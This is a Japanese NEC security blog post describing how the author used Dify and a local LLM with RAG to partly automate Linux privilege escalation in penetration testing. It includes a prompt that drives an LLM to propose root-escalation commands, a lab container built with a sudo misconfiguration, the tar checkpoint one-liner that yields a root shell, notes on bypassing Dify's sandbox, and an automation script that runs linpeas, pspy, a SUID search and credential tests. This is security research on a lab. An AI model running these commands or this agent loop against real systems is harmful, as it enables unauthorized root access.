サイト内の現在位置

Difyで作ったAIチャットアプリでペンテストを一部自動化できるか試してみた

NECセキュリティブログ

2024年6月28日

NEC サイバーセキュリティ戦略統括部セキュリティ技術センターの木津です。ペネトレーションテスト/脆弱性診断について学習していく上で、有用なツールなどを日頃から調査・検証しています。今回は調査の中で見つけた「Dify」new window[1] new window[2]について、試してみたことをご紹介したいと思います。

注意:本ブログの情報を用いた活動は、必ず自らの責任によって行ってください。本ブログの内容を使用したことによって発生する不利益等について、筆者および関係者はいかなる責任も負いません。

目次

Difyとは

DifyはオープンソースのLLMアプリ開発プラットフォームです。例えば次のような特徴があります。

  • 直感的なインターフェースと豊富な機能を備えているため、プログラミングの知識がなくても、ドラッグ&ドロップ操作のみでチャットボットなどのAIアプリを開発可能。
  • 開発者だけでなく非エンジニアやビジネスユーザーも、ノーコード/ローコードで高性能なAIアプリ(チャットボット、コンテンツ生成ツール、データ分析ツールなど)を開発可能。
  • 搭載されているRAG(Retrieval-Augmented Generation *1)パイプラインを使用して、組織内に蓄積された独自のドキュメントやデータを基に回答するチャットボットアプリなども開発可能。
  • Google検索、Slack、Dell-E、Stable Diffusionなど、外部ツールやAPIと連携させることで、より高度な機能を持つAIアプリの開発が可能。
  • OpenAI、Anthropic、Azure OpenAI、Llama2、Hugging Face、Replicate、Ollamaなど、さまざまなAIモデルプロバイダーをサポートしており、ローカルLLM(手元の言語モデル)を使ったアプリの開発も可能。
  • アプリケーションのテンプレートが多数用意されており、少しカスタマイズを加えるだけで、短期間でアプリを開発可能。
  • 構築したアプリにWebAPI経由で操作できる機能も有り、WebAPIの追加実装が不要。
  • ライセンスはApache License 2.0をベースにした独自ライセンスで、商用利用可能(*2)。
  • *1:
    外部の独自情報(ノウハウが蓄積されたドキュメントやデータ)を組み合わせることで、回答精度を向上させる技術のこと
  • *2:
    マルチテナントでSaaSサービスを提供する場合や、ロゴや著作権情報の削除・変更を行う場合はDifyのビジネスチーム(business@dify.ai)に問い合わせをし、商用ライセンスを取得する必要があるとのこと new window[3]

RAG機能をもったチャットボットを作って、ペンテストの一部をAIで自動化できるかどうか検証してみたかったので、早速Difyを使ってチャレンジしてみました。ツールを試す過程で何点かつまずいて、問題解決につながった方法をメモに残しました。そのメモ書きの一部も共有したいと思います。

作成するアプリの方針

最初はLangChain new window[4]を使ってチャットボットを実装するつもりでしたが、最近でてきた前述のようなDifyの情報をみてDifyの方が短期間でアプリを実装できそうと思いDifyを選択することにしました。

簡単ではありますが、次のような方針で進めてみることにしました。

  • ノウハウが外部に流出するのは避けたいため、ローカル端末にダウンロードした言語モデルを使用してAIアプリを作る。
  • ペンテストまわりは単純に外部の言語モデルを使っても期待通りの回答を得られないケースが多いため、RAGのパイプラインを利用して蓄積した独自ドキュメントやデータを活用してAIチャットアプリを作成する。
  • ペンテストのすべてを短期間で自動化するのは不可能なので、権限昇格フェーズの簡単なものだけ自動化してみる。
  • スキャン処理など並列実行できるタスクは並列実行できるようにする。
  • 試行結果を簡単にレポートする機能を実装する。

以降、次に示す流れで説明を行います

  • ローカル環境にDifyをインストール
  • ローカルモデルの組み込み
  • RAGの組み込み
  • 任意コード実行
  • プロンプトの工夫
  • やられサーバ構築
  • アプリ実装・仕上げ

ローカル環境にDifyをインストール

Difyには、クラウドサービスを利用して使う方法と、ローカル環境にインストールして使う方法の二つがあります。ローカルモデルを使いたかったのと、Difyの実装を理解して色々カスタマイズしたい、ということもあり、Difyをローカル環境にインストールすることにしました。次の環境で試しました。

  • OS: Ubuntu 24.04 LTS
    • CPU AMD Ryzen 9 7950X3D
    • メモリ 128GB
    • GeForce RTX 4080 SUPER(VRAM 16GB)

Dockerを使うと、次に示す方法で簡単にインストールできました。

$ git clone https://github.com/langgenius/dify.git
$ cd dify/docker
$ view docker-compose.yaml # 構成などをじっくり確認
$ docker compose up -d
(snip)
 ✔ Container docker-ssrf_proxy-1      Started
 ✔ Container docker-web-1           Started
 ✔ Container docker-sandbox-1        Started
 ✔ Container docker-redis-1           Started
 ✔ Container docker-db-1             Started
 ✔ Container docker-weaviate-1        Started
 ✔ Container docker-api-1             Started
 ✔ Container docker-worker-1          Started
 ✔ Container docker-nginx-1           Started

コンテナ起動後、tcp/80にアクセスしてメールアドレスとパスワードを入れて、サインアップすることで、Difyが使えるようになりました。

早速チャットボットを作ってみたいと思います。画面左上の赤枠部分「最初から作成」をクリックすると、次のようなモーダルウィンドウが起動します。

赤枠部分を順番に選択/入力し、ウィンドウ下部の「作成する」をクリックします。これで、簡単なチャットボットアプリが生成されます。

LLMブロック部分で好みの言語モデルを指定して、画面右上の「公開する」をクリックし、「アプリを実行」をクリックするとチャットボットアプリを利用できるようになります。ただし、先に使用する言語モデルを準備する必要があります。

ローカルモデルの組み込み

Difyでは様々なAIモデルプロバイダーをサポートしています。今回は、以前から使ったことがあり、簡単に導入することができたOllama new window[5]を使って、ローカルモデルを組み込むことにしました。Ollama自体は次のような方法で導入することができます。

例:インストール
$ curl -fsSL https://ollama.com/install.sh | sh
>>> Downloading ollama...
>>> Installing ollama to /usr/local/bin...
[sudo] password for guru: #★一部管理者権限が必要な箇所があります
>>> Creating ollama user...
(snip)
>>> NVIDIA GPU installed.

例:サーバの起動。言語モデルのダウンロードおよびロード
$ systemctl list-unit-files | grep ollama
ollama.service     enabled  enabled
$ sudo systemctl start ollama
$ sudo ollama run gemma  #gemma:2bのモデルをダウンロードしました。同様にPhiもダウンロードしました

モデル関連のファイルは次のパス(/usr/share/ollama/.ollama/models/)に配置されるようです。
$ sudo ls -1 /usr/share/ollama/.ollama/models/manifests/registry.ollama.ai/library
gemma
phi

どのようなモデルが選択できるのかを知りたい場合は以下が参考になります。

DifyからOllamaを使う場合、環境に合わせてもう少し追加で設定が必要になります。デフォルトではOllamaに127.0.0.1からしかアクセスできない設定になっています。Dify側(Dockerコンテナ側)から利用できるようにする必要があるため、次のような方法でOllamaの設定を変更します。

例:Ollamaのアクセス許可設定更新
$ cat /etc/systemd/system/ollama.service #設定を確認します
$ sudo vi /etc/systemd/system/ollama.service #設定をviで編集し、太字部分を追加します
[Unit]
Description=Ollama Service
After=network-online.target
[Service]
Environment="OLLAMA_HOST=0.0.0.0"
Environment="OLLAMA_ORIGINS=172.18.0.*"
Environment="OLLAMA_MODELS=/usr/share/ollama/.ollama/models/"
ExecStart=/usr/local/bin/ollama serve
(snip)
$ sudo systemctl daemon-reload #設定をリロードします
$ sudo systemctl restart ollama  # サービスを再起動します
$ sudo netstat -ltnp | grep ollama
tcp6    0   0 :::11434    :::*     LISTEN      305822/ollama

これでOllama側の準備は完了です。
DifyのWebUIにアクセスして、モデルをロードできるようにします。画面右上のアカウント部分をクリックし、出てくるメニューの「設定」をクリックします。

モーダルウィンドウが起動しますので、Ollamaを選択し、「Add Model」をクリックします。

もう一つモーダルウィンドウが起動しますので、「Model Type」、「Model Name」、「Base URL」を適宜入力します。Model NameにはOllamaに組み込んだローカルモデル名を、Base URLにはOllamaのサービスに接続するためのIPアドレスとポート番号を指定します。図の例ではDockerコンテナ側からみた場合のホスト側のIPアドレスを指定しています。入力後、画面下部の「保存」をクリックします。

設定が終わったら実際のチャットボットアプリの編集画面で、LLMブロックを選択し、モデルを指定します。次の画面の赤枠部分クリックすると、登録したモデルをブルダウンから選択できるようになります。

これで、Difyで作ったチャットボットアプリにローカルモデルを組み込むことができました。画面右上の公開するをクリックし、「公開する」「アプリを実行」をそれぞれクリックするとチャットボットアプリを利用できるようになります。

RAGの組み込み

RAGのパイプラインを利用して蓄積した独自ドキュメントやデータを活用したいので、先ほど作ったチャットボットアプリにRAGの機能を追加していきます。

画面上部の「ナレッジ」をクリックして、「知識を作成」をクリックします。

画面遷移した先で、データソースに「テキストファイルからインポート」を選択し、ノウハウを記載したファイルをドラッグ&ドロップして、画面下部の「次へ」をクリックします。

画面遷移した先で、「自動」「経済的」を選択し、「保存して処理」をクリックします。

チャンク設定で「カスタム」を選択すると、最大チャンク長(デフォルト500)、チャンクのオーバーラップなどのパラメータを指定できます。RAGを最適化する場合は、カスタムで微調整した方がよいと考えます。
また、インデックスモードで「高品質」「ハイブリッド検索」を選択し、埋め込みモデルや再ランクモデルを指定することで、更にRAGの最適化をしていくことができます。ただ、「経済的」を選択しても、RAGとして使うドキュメントの中身を工夫することで、今回は期待通りの結果が得られました。この結果より、読み込むドキュメント側を最適化していれば、インデックスモードは「経済的」で進めても問題ないと考えています。埋め込みモデル、再ランクモデルも幾つか試してみましたが、それぞれCohere:embed-multilingual-v3.0、Cohere:rerank-multilingual-v3.0のモデル new window[6]を指定した時が一番期待値に近い回答が得られました。ただローカル環境に閉じての利用はできないようでしたので、今回は使わないことにしました。

次に、チャットボットアプリに設定したナレッジ(RAG)を組み込んでいきます。以下に示す画面の通り、チャットボットアプリの編集画面に遷移して、「開始」ブロックと「LLM」ブロックの間に出てくる「+」をクリックし、表示されるメニューから「知識取得」を選択します。

知識取得の編集ウィンドウが画面右にでてきますので、「+」をクリックして、ナレッジに登録したデータを選択します。

次に「LLM」ブロックを選択し、表示されるウィンドウで「コンテキスト」部分に「知識取得/result」を指定します。最後に同ウィンドウ下部の「USER」プロンプト部分でキーボードの「/」キーを入力すると出てくるメニューから、コンテキスト部分で指定した「知識取得/result」を選択し、言語モデルに入力として与えるクエリ文字列を登録します。

以上でRAGの組み込みが完了です。画面右上の「デバッグとプレビュー」をクリックするとチャットボットの挙動を確認できます。期待通りの回答が得られるまでナレッジ部分などの設定を調整していくことになると思います。
また、画面右上の「公開する」->「APIリファレンスにアクセス」をクリックすると、APIキーの発行ができ、APIのリファレンスマニュアルを参照することができます。画面右上の「公開する」->「アプリを実行」をそれぞれクリックするとチャットボットアプリとWebAPIを利用できるようになります。
作ったアプリを複製してカスタマイズも可能ですので、慣れてくると3分もかからず、簡単なRAG機能付きAIチャットボットアプリが作れるようになります。

任意コード実行

前述のRAGのところでは、ブロックの一覧から「知識取得」を選択しましたが、同じメニューから「コード」ブロックを追加すると、LLMを通した結果を入力として任意コードを実行し、その出力結果を次のブロックに伝えるようなアプリを作ることもできます。

現行バージョンではコードをJavaScriptとPython3で実装できるようになっています。Open Interpreter[7]のようなことができるということです。ただし、Difyではセキュリティ面の考慮がされていて、ファイル出力や外との通信ができなくなっているように見えました。

作りを確認したところ、デフォルト設定では、docker-sandbox-1というコンテナ上にプログラムが配置されて実行されること、ホスト上に配置しているDifyのソースツリーのdocker/volumes/sandbox/dependencies/がコンテナの/dependenciesにマウントされていることが分かりました。

例:
$ docker exec -it docker-sandbox-1 bash
root@cb42ecbc0900:/# ls -1 /tmp/code/
035fe95d_a90f_485a_ae6a_b8eb5b9cd7cc.py ★ソースコードの実態は/tmp/codeに配置されます。ホスト上にとってきてデバッグするとデバッグの効率が上がります。
(snip)
root@cb42ecbc0900:/# cat /tmp/code/035fe95d_a90f_485a_ae6a_b8eb5b9cd7cc.py
(snip)
lib = ctypes.CDLL("./var/sandbox/sandbox-python/python.so")
lib.DifySeccomp.argtypes = [ctypes.c_uint32, ctypes.c_uint32, ctypes.c_bool]
lib.DifySeccomp.restype = None ★セキュリティ対策にはseccompが使われていそうです
(snip)

以下はファイルを/dependencies/配下(ホスト上)に出力しようとした結果です。

セキュリティ対策が機能して、/dependencies/配下へのファイル書き出しに失敗していることが分かります。確認したところ、書き込み権限はありましたがガードされ、ファイル書き出しができないようになっていました。コンテナからaptなどのコマンドも実行できないよう制御されていました。ただsandbox上とホスト間の通信は可能でした。
上記を踏まえてsandbox上の/var/sandbox/sandbox-python/python.soの対策を解除し、ホストでWeb Proxyを立ち上げることで、ファイルの書き出しやaptなどでモジュールの追加も自由にできるようになることが分かりました。
ただDifyを複数人で利用するようにしたタイミングで、リモートから任意コマンドを実行されるなどのリスクが生じるため、今回はやるべきではないと考え、元に戻しました。環境や目的に応じて検討が必要な点と考えます。

プロンプトの工夫

今回作ろうとしているのは、ペンテストなどの権限昇格フェーズをAIで自動化するアプリです。チャットボットに聞きたいのは、次に実行すべきアクション(コマンド、認証試行など)です。
上記を踏まえてRAGの調整、モデル切り替えなど、色々試行してみましたが、うまくいかず、プロンプトを工夫して実現することにしました。いくつかのOSS new window[8] new window[9]を参考にさせていただきました。システムプロンプトとユーザプロンプトは次の通り設定しました。

クエリ文字列のテンプレートは次のような形にしました。


$ cat query.tmpl
あなたは、Linuxシステム上で%%USER%%のパスワードが%%PASSWORD%%であることを知っています。%%USER%%は特権を持った管理者アカウントではありません。あなたの目的はシステムの脆弱性やシステムの設定ミスを利用して、特権をもった管理者アカウント(rootユーザー)に昇格することです。

あなたは次のいずれかを実行できます。
- `exec_command command`: ユーザーが指定したcommandを、リモートの Linux 端末の上で実行し、その実行結果を返すようにします。
- `test_credential username password`: ユーザーが指定したusernameとpasswordを、リモートの Linux machineで有効かどうかをテストします。

あなたはすでに次に示すコマンドを実行しています。
~~~ bash
%%RESULTS%%
~~~

次に実行すべきコマンドを提示してください。特権昇格に集中し、コマンドのみを提示してください。すでに実行したコマンドは実行できませんので、別のコマンドを提示してください。commandの初めの$は追加しないでください。日本語の説明は不要です。コマンド候補だけ一行で出力してください。コマンドの先頭にexec_commandもしくはtest_credentialを付けてください

出力は以下の形式を参考にして回答してください。
# 出力の例
{
"exec_command": "sudo ...",
"test_credential": "root testuser"
}

上記のような方法で、WebAPIを介して期待通りの結果を得ることができるようになりました。Gemma-2b new window[10]、Phi-2 new window[11]、llama-3-8b new window[12]、llm-jp-13b new window[13]などの言語モデルで結果を比較してみましたが、今回はGemma-2b+RAGで期待通りの応答が得られ、かつ最も早く応答を得ることができると分かりました。環境依存の数字になりますが、1.5~5秒くらいで応答を得ることができているようでした。これらの検証結果からモデルとしてはGemma-2bを選択することにしました。RAGの調整次第で軽量なモデルの選択も可能になるケースがある、と分かりました。以下はWebブラウザで生成したチャットボットアプリをテストしてみた結果です。

やられサーバ構築

最初は簡単に権限昇格できる環境で試したいと考え、次のような方法でターゲットにするコンテナを作成しました。sudoの設定不備で権限昇格ができる脆弱性を埋め込むことにしました。

$ docker run -itd --name vuln-sv ubuntu
$ docker exec -u root -it vuln-sv bash
# useradd -s /usr/bin/bash -d /home/testuser -m testuser
# passwd testuser
# apt update
# apt install sudo vim net-tools openssh-server
# systemctl enable ssh
# /etc/init.d/ssh start
# visudo
(snip)
Cmnd_Alias ALLOWCMD = /usr/bin/tar # 追記
%adm ALL = (ALL) ALLOWCMD # 追記
# vi /etc/group # admグループにtestuser追加
# su - testuser
$ tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
# whoami
root

アプリ実装・仕上げ

あと実現できていないのは次の2つの要件ということになります。

  • スキャン処理など並列実行できるタスクは並列実行できるようにする
  • 試行結果を簡単にレポートする機能を実装する

上記の一つ目の要件を満たすため、今回はRabbitMQ new window[14] を使うことにしました。容易にスケールアウトしていける構成の方がよいこと、投入したjobの永続化なども簡単に実現できること、過去に作ったソースコードを流用して短期間で実装できること、がRabbitMQを選択した理由です。
2つ目の要件を満たすため、出力結果は都度、RDB(MariaDB new window[15])に格納していくことにしました。Difyが作ってくれたAPIの実行結果(クエリのトークン数、応答のトークン数、処理時間、クエリの内容、レスポンスの内容)も都度DBに入れておいて、後からRAGなどの調整で使いたいと考えました。並列に書き込むことにもなりそうなため、SQLiteでは厳しいと考えMariaDBにしました。
手元にある幾つかのスクリプトを組み合わせて、シェルスクリプトを作って一連の処理をつなげてみました。少し長くなりそうですので、詳細はAppendix-1に記載します。出力結果だけ以下に記載します。作ったAIチャットボットアプリのAPI機能を利用することにより、自動でrootユーザーに権限昇格可能なパスを見つけることができました。

所感、まとめ

Difyを活用しRAG機能付きAIチャットボットアプリを作って、ペンテストの権限昇格フェーズの一部を自動化してみました。気づいた点などを以下に整理して記載します。

  • Dify関連
    • ノーコードで、試したいRAG機能付きチャットボットを数分で作れる点がよいと感じた。アプリ実装の時間を短縮して、時間のかかるRAGの調整の方に注力できる点がよい。
    • 様々なAIモデルプロバイダーをサポートしてくれているため、ローカルモデルを容易に組むことができる点がよいと感じた。ノウハウを外に流出することなくAIアプリを実装できる点がよい。
    • アプリを作ると、一緒にAPI機能がついてくる点がよいと感じた。外部アプリと連携させやすい。
    • 作成したアプリをエクスポートして他メンバと共有できる点がよいと感じた。
    • RAGの調整は難しいが、DifyのWebUIでパラメータ設定が直観的に行える点がよいと感じた。都度リクエストとレスポンスを確認しながら調整できるデバッグ機能がある点もよいと感じた。
    • 作成したRAG/アプリの良し悪しをAPI経由でフィードバックして、集計できる機能がある点がよいと感じた。
    • これだけ高機能なDifyだが、OSSで商用利用可能な点がよいと感じた new window[3]
  • ペンテスト自動化関連
    • プロンプトの工夫やRAGの調整次第だが、AIチャットボットを使ってペンテストを自動化していけることが分かった。権限昇格フェーズ以外にも対応範囲を拡大してみたいと感じた。
    • 言語モデルの選択は難しいが、RAGの調整次第で軽量な言語モデルの選択でも目的を達成できることがあると分かった。
    • スキャン部分はコマンドの結果それぞれに関してノウハウをまとめたデータセット(RAG)がないと期待通りの応答を得られないことが多いと分かった。
    • RAGまわりを整備していけば、ペンテスト/脆弱性診断の経験が浅いメンバをサポートするチャットボットを作ることも可能と感じた。
    • 質の高い情報をどれだけ持っているかが、今後技術者として重要になってくると感じた。気づいたところからデータは整理しておきたいと思った。

生成AIとセキュリティはとても相性がよく、様々なツールが出てきそうで今後が楽しみな領域です。実際にAIチャットボットを一つのツールに組み込んで実装してみて、色々気づきを得ることができました。今後も思いついたツールを幾つか作ってみたいと思いました。

これからもお客様のご期待に応えられるよう、ペンテスト/脆弱性診断/インシデント対応などを行う際に有用と思われるツールの調査・検証を継続して行っていきたいと考えています。本ブログの内容が少しでも皆様のモチベーション向上の一助になれば幸いです。

Appendix-1

参考までに作成したスクリプトの一部を以下に記載します。動かすこと優先で作りましたのでセキュリティ面の考慮はまだこれからです(要考慮です)。

$ cat start.sh
#!/bin/sh
#
# start.sh
#
# Dependencies: MariaDB, RabbitMQ, Dify

# ------------------------------------
# Initialize
# ------------------------------------
CMD_PATH=`dirname $0`
round_num=5

# ------------------------------------
# Sub Routines
# ------------------------------------
# Function to initialize database
initdb() {
        . $CMD_PATH/initdb.conf
        $CMD_PATH/initdb.sh
}

# Function to reference various tables within the database
show_tables() {
        . $CMD_PATH/initdb.conf
        export MYSQL_PWD
        echo == check table-entries ==
        echo 'select * from runs;'  | mysql -h $MYSQL_HOST -u $MYSQL_USER -D $MYSQL_DATABASE
        echo 'select * from tasks;' | mysql -h $MYSQL_HOST -u $MYSQL_USER -D $MYSQL_DATABASE
        echo == check commands-results ==
        echo 'select * from tasks where exec_at is not NULL order by exec_at asc ;' | mysql -h $MYSQL_HOST -u $MYSQL_USER -D $MYSQL_DATABASE
}

# Function for parallel execution of scans using RabbitMQ (RPC)
scan_targets() {
        echo Scanning targets...
        $CMD_PATH/rpc_client.pl $1 'test_credential root testuser' >/dev/null &
        $CMD_PATH/rpc_client.pl $1 'exec_command "find / -type f \( -perm -4000 -or -perm -2000 \) -exec ls -l {} \;  2>/dev/null"' >/dev/null &
        $CMD_PATH/rpc_client.pl $1 'exec_command "bash /tmp/rihtas_ai/linpeas.sh -N -q 2>/dev/null >out;sh /tmp/rihtas_ai/parse_linpeas.sh"' >/dev/null &
        $CMD_PATH/rpc_client.pl $1 'exec_command "which getcap >/dev/null && getcap -r / 2>/dev/null"' >/dev/null &
        # (snip)
        while : ; do pgrep -f rpc_client.pl >/dev/null 2>&1 || break ; sleep 1; done
        $CMD_PATH/rpc_client.pl $1 'exec_command "chmod +x /tmp/rihtas_ai/pspy64s; timeout 120 /tmp/rihtas_ai/pspy64s -c=false 2>&1"' >/dev/null &
        $CMD_PATH/rpc_client.pl $1 'exec_command "echo testuser | sudo -S -l"' >/dev/null &
        while : ; do pgrep -f rpc_client.pl >/dev/null 2>&1 || break ; sleep 1; done
        #show_tables
}

# Function for fetching the next commands to execute using the Dify API and attempting each one sequentially.
query_ai() {
        find $CMD_PATH/queries -type f -exec rm -f {} \;
        $CMD_PATH/create_prompt.pl $1
        flag=0
        . $CMD_PATH/initdb.conf
        export MYSQL_PWD
        for i in `seq 1 $round_num`; do
                echo = round $i =
                if [ $flag -eq 1 ] ; then
                        echo "Got root";
                        n=`expr $i \- 1`
                        echo "UPDATE runs SET state='got root',stopped_at=now(),rounds=$n WHERE id = (select max(id) from runs);" | \
                          mysql -h $MYSQL_HOST -u $MYSQL_USER -D $MYSQL_DATABASE
                        break
                fi
                for f in `find queries/ -type f`; do echo -- $f --; perl api.pl $f 2>/dev/null && flag=1 && break ; done
        done
}

# Function for formatting and outputting the execution results.
report_results() {
        perl report.pl $1
}

# ------------------------------------
# Main Routine
# ------------------------------------
case "$1" in
  autorun)
        echo == autorun ==
        if [ $# -ne 2 ] ; then
                echo "Usage: $0 target_name"; exit 2
        fi
        # initalized db-entries
        perl start_scan.pl $2
        show_tables
        # transfer the suite of scanning tools to the remote host.
        perl rpc_client.pl $2 'exec_command mkdir -p /tmp/rihtas_ai'
        perl sync.pl
        # invoke scan-scripts
        scan_targets $2
        # invoke attack-scripts
        query_ai $2
        # show results
        report_results $2
        ;;
  query_ai)
        echo == query_ai ==
        if [ $# -ne 2 ] ; then
                echo "Usage: $0 target_name"; exit 3
        fi
        query_ai $2
        show_tables;
        ;;
  report_results)
        echo == report_results ==
        if [ $# -ne 2 ] ; then
                echo "Usage: $0 target_name"; exit 4
        fi
        report_results $2
        ;;
  initdb)
        initdb
        ;;
  show_tables)
        show_tables
        ;;
  *)
        echo "Usage: $0 {autorun|initdb|show_tables|query_ai|report_results}"
        exit 1
esac
exit 0
#__END__
# $ wc -l *.pl *.sh reports/report.py
#   102 api.pl
#    86 cmd.pl
#    77 create_prompt.pl
#   128 report.pl
#   116 rpc_client.pl
#    54 rpc_server.pl
#    63 start_scan.pl
#   126 sync.pl
#     6 initdb.sh
#   119 start.sh
#    54 reports/report.py
#   931 合計

参考文献

執筆者プロフィール

木津 由也(きづ よしや)
セキュリティ技術センター リスクハンティンググループ

主にネットワークセキュリティ製品・サービスの開発に従事してきたが、最近はCTFに取り組んできた経験を活かし、ペネトレーションテスト、脆弱性診断などの領域にも仕事の範囲を拡大中。
2013年にnoraneco という社会人CTF チームを立ち上げ、現在は主にPwn/Reversing 問を担当。
SANS - Cyber Defense NetWars 2019.10 1位(Team)
SECCON 2019 国際決勝5位
Hack The Box - Omniscient

執筆者の他の記事を読む

アクセスランキング